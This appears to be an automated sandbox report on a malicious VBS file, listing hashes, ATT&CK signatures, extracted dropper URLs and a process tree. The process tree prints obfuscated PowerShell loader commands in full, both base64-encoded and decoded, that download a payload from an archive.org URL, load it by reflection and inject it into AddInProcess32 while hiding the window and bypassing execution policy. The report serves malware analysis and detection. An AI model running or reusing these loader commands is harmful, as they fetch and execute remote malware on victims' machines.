Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23-09-2024 00:56

General

  • Target

    INQUIRY_0002341259-SCB.vbs

  • Size

    507KB

  • MD5

    8826da2dae531f219269ca314cec4f88

  • SHA1

    a5c24e29d2b9901a0849fe4c70dd67733febcb57

  • SHA256

    3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b

  • SHA512

    9899a75d918671927f0dce5824135427899d75c88c153f78e8fa9ca5d39383a2cb33d092376ae631f507a3bd855636968724d9509d180e2c3a0a307a697e7de5

  • SSDEEP

    12288:r4IJKsC/UX6neBCN6Jy7f24Sjmr8NeAkWrIXbl/MCmgdTQFq30+XDNNRsgbZAKIo:kkgn2MHhso/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQUIRY_0002341259-SCB.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv '*MDr*').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1284

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    4c776a7f2ac7691f7fa5cd73556cbc67

    SHA1

    b39727f67e64d49b8fb12a301cbb57e21e87df7a

    SHA256

    95e92f0850d045f1a40469818dedcd83773f3d83137de1c0f5169d9feefb5966

    SHA512

    2c73dc047b32411f03ac106b3c4de55ae95bd67c4c87b3a59742a163d6e6939849b1c379c33b47f7c07d1277e9642dfb0437e97aa7809218bebeb32000d6b424

  • memory/2564-4-0x000007FEF546E000-0x000007FEF546F000-memory.dmp

    Filesize

    4KB

  • memory/2564-5-0x000000001B550000-0x000000001B832000-memory.dmp

    Filesize

    2.9MB

  • memory/2564-6-0x0000000002990000-0x0000000002998000-memory.dmp

    Filesize

    32KB

  • memory/2564-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2564-15-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

    Filesize

    9.6MB